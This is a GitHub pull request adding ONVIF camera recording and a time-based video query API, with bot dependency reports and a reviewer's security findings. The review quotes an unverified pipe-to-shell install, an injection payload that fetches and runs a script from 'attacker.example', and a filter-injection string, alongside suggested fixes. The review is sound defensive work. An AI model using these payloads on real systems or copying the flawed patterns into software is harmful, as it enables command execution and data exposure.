feat(application): add video capture query blueprint, 520-video-query-api, and ONVIF camera tooling

[auyidi1]

Description

Closes #467

Adds a complete video capture and time-based query pipeline to the edge-ai accelerator. This introduces continuous 24/7 video recording from ONVIF/RTSP cameras at the edge with cloud storage, lifecycle management, and a REST API for data scientists to retrieve historical video segments by camera, location, and timeframe.

Mirrors ADO PR #616.

Architecture

📹 ONVIF/RTSP Cameras → Media Capture Service (503) → 5-min segments → Azure Blob Storage
                              (continuous recording)                        │
                                                                   ┌───────┴────────┐
                                                                   │ Lifecycle Mgmt │
                                                                   │ Hot → Cool →   │
                                                                   │ Archive        │
                                                                   └───────┬────────┘
                                                                           │
👨‍🔬 Data Scientist → REST API (520-video-query-api) → Query by timestamp → │
                      GET /api/video?camera=xxx&start=...&end=...          │
                              ↓                                            │
                      FFmpeg segment stitching ← ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┘
                              ↓
                      SAS URL (24h expiry) → Download & Analyze

Changes

New Components

• src/500-application/520-video-query-api/ — Azure Function with REST endpoints for time-based video queries, SAS URL generation, optimized blob filtering (<1h: prefix-based, 1-24h: blob index tags), MQTT-triggered capture, and health monitoring
• blueprints/video-capture-query/ — Complete Terraform blueprint with architecture diagrams (6 drawio/mermaid), example tfvars, data scientist workflow example, and deployment documentation

Enhanced Components

• src/500-application/503-media-capture-service/ — Continuous recording mode, ACSA (Azure Connected Storage Account) writer, multi-trigger support (binary + MQTT), video processor improvements
• src/500-application/508-media-connector/ — Updated docker-compose, mock RTSP camera Kubernetes manifests
• src/100-edge/111-assets/scripts/ — ONVIF camera deployment scripts (Bicep + Terraform), PTZ profile discovery, quick PTZ test utilities

Documentation

• docs/getting-started/onvif-camera-quickstart.md — Step-by-step ONVIF camera deployment guide
• project-adrs/Accepted/006-dual-component-video-architecture.md — ADR for dual-component video architecture (503 recording + 508 streaming)
• docs/solution-adr-library/ — Continuous video capture with ACSA sync, edge video streaming and image capture, updated ONVIF connector camera integration

Blueprint Integration

• blueprints/full-single-node-cluster/ — Video capture query variables, outputs, and video-capture-query.tfvars.example

Build & Code Quality

• cspell dictionary updates, ruff lint fixes, yamllint compliance
• Megalinter and CI gate fixes
• Release workflow and GitVersion configuration updates

Files Changed

109 files (13,221 additions, 786 deletions) across the following areas:

Area	Key Changes
src/500-application/520-video-query-api/	New Azure Function app (function_app.py, tests, requirements, host.json)
blueprints/video-capture-query/	New blueprint (main.tf, variables, outputs, diagrams, README, examples)
src/500-application/503-media-capture-service/	Continuous recording, ACSA writer, multi-trigger, video processor
src/100-edge/111-assets/scripts/	ONVIF camera deployment and PTZ tooling
docs/getting-started/	ONVIF camera quickstart guide
docs/solution-adr-library/	Video architecture ADRs
project-adrs/Accepted/	ADR-006 dual-component video architecture
blueprints/full-single-node-cluster/terraform/	Video capture query integration

Testing

• Video Query API unit tests (test_video_query_api.py, 377 lines)
• Terraform validation for video-capture-query blueprint and full-single-node-cluster
• CI lint gates (megalinter, cspell, ruff, yamllint) resolved

[github-actions]

Dependency Review

The following issues were found:

• ❌ 1 vulnerable package(s)
• ✅ 0 package(s) with incompatible licenses
• ✅ 0 package(s) with invalid SPDX license definitions
• ⚠️ 4 package(s) with unknown licenses.
• ⚠️ 1 packages with OpenSSF Scorecard issues.

See the Details below.

Vulnerabilities

src/500-application/520-video-query-api/requirements.txt

Name	Version	Vulnerability	Severity
cryptography	43.0.3	cryptography Vulnerable to a Subgroup Attack Due to Missing Subgroup Validation for SECT Curves	high

Only included vulnerabilities with severity high or higher.

License Issues

src/500-application/520-video-query-api/requirements.txt

Package	Version	License	Issue Type
azure-core	>= 1.29.0	Null	Unknown License
azure-functions	>= 1.18.0	Null	Unknown License
azure-identity	>= 1.15.0	Null	Unknown License
azure-storage-blob	>= 12.19.0	Null	Unknown License

OpenSSF Scorecard

Package	Version	Score	Details
cargo/md5	0.7.0	⚠️ 2.7	Details Check Score Reason Packaging ⚠️ -1 packaging workflow not detected Binary-Artifacts 🟢 10 no binaries found in the repo Dangerous-Workflow 🟢 10 no dangerous workflow patterns detected Token-Permissions ⚠️ 0 detected GitHub workflow tokens with excessive permissions Maintained ⚠️ 0 0 commit(s) and 1 issue activity found in the last 90 days -- score normalized to 0 Code-Review ⚠️ 0 Found 1/28 approved changesets -- score normalized to 0 Pinned-Dependencies ⚠️ 0 dependency not pinned by hash detected -- score normalized to 0 CII-Best-Practices ⚠️ 0 no effort to earn an OpenSSF best practices badge detected Security-Policy ⚠️ 0 security policy file not detected Fuzzing ⚠️ 0 project is not fuzzed Signed-Releases ⚠️ -1 no releases found License 🟢 9 license file detected Branch-Protection ⚠️ 0 branch protection not enabled on development/release branches SAST ⚠️ 0 SAST tool is not run on all commits -- score normalized to 0
pip/cryptography	43.0.3	Unknown	Unknown
pip/azure-core	>= 1.29.0	Unknown	Unknown
pip/azure-functions	>= 1.18.0	Unknown	Unknown
pip/azure-identity	>= 1.15.0	Unknown	Unknown
pip/azure-storage-blob	>= 12.19.0	Unknown	Unknown

Scanned Files

• src/500-application/503-media-capture-service/services/media-capture-service/Cargo.lock
• src/500-application/520-video-query-api/requirements.txt

[github-actions]

📚 Documentation Health Report

Generated on: 2026-05-02 00:36:09 UTC

📈 Documentation Statistics

Category	File Count
Main Documentation	219
Infrastructure Components	198
Blueprints	47
GitHub Resources	43
AI Assistant Guides (Copilot)	17
Total	524

🏗️ Three-Tree Architecture Status

• ✅ Bicep Documentation Tree: Auto-generated navigation
• ✅ Terraform Documentation Tree: Auto-generated navigation
• ✅ README Documentation Tree: Manual README organization

🔍 Quality Metrics

• Frontmatter Validation:
  success
• Link Validation: success

---

This report is automatically generated by the Documentation Automation workflow.

[rezatnoMsirhC]

Thank you for a well-structured contribution. The overall architecture is solid and the consistent application of diagnostic settings, VM SKU upgrades, Arc RBAC role assignments, and the ignore-scripts=true addition are all good improvements. Left a few comments on security issues that should be addressed before merging.

[rezatnoMsirhC]

The previous implementation downloaded the k3s binary to /tmp, fetched the accompanying sha256sum-amd64.txt, and verified the checksum before installing with INSTALL_K3S_SKIP_DOWNLOAD=true. The code comments even explicitly flagged this as satisfying the OSSF Scorecard pinned-dependencies control. This PR replaces that with a direct pipe-to-shell:

curl -sfL https://get.k3s.io | sh -

This removes integrity verification entirely. If the k3s CDN or the release download were compromised between the fetch and execution, the binary would run on edge devices without any checksum check. kubectl similarly lost its sha256 verification and is now resolved to "latest stable" at install time rather than a pinned version, meaning repeated runs of the script can produce different kubectl versions across machines.

Please restore the previous download-verify-then-install pattern for both k3s and kubectl. The CLUSTER_ADMIN_GROUP_OID additions in this function are otherwise clean.

[rezatnoMsirhC]

The prompt_input function uses eval to assign a user-supplied value to a named variable:

eval "$var_name='$value'"

If $value contains a single quote, the eval statement breaks out of the string context. A camera password like pass'word causes a syntax error; a crafted value like '; curl https://attacker.example | sh; FOO=' executes arbitrary commands with the user's privileges. These scripts prompt for ONVIF credentials, making the password field a realistic attack surface (OWASP A03:2021).

Replace eval with a bash nameref, which achieves the same dynamic assignment without shell interpretation:

prompt_input() {
  local prompt_text="$1"
  local default="$2"
  local -n _target="$3"   # nameref -- no eval needed

  read -r -p "${prompt_text} [${default}]: " value
  _target="${value:-$default}"
}

No changes to callers are required. The same issue exists in deploy-onvif-camera-terraform.sh at the equivalent line.

[rezatnoMsirhC]

The camera_id value comes directly from req.params.get('camera') and is checked only for presence before being embedded in the blob index tag filter expression:

query = (
    f"camera_id='{camera_id}' AND "
    f"start_time>='{start_time.isoformat()}' AND "
    f"end_time<='{end_time.isoformat()}'"
)
container.find_blobs_by_tags(filter_expression=query)

A crafted camera query parameter containing a single quote (e.g., ' OR '1'='1) can break out of the intended filter and potentially return blobs from other camera feeds. The trigger endpoint in this same file correctly validates against ALLOWED_CAMERAS; the query endpoint should apply equivalent input validation.

A simple regex guard before the blob listing call is sufficient:

import re

if not re.fullmatch(r'[a-zA-Z0-9_\-]+', camera_id):
    return func.HttpResponse(
        json.dumps({"error": "Invalid camera_id format"}),
        status_code=400,
        mimetype="application/json",
    )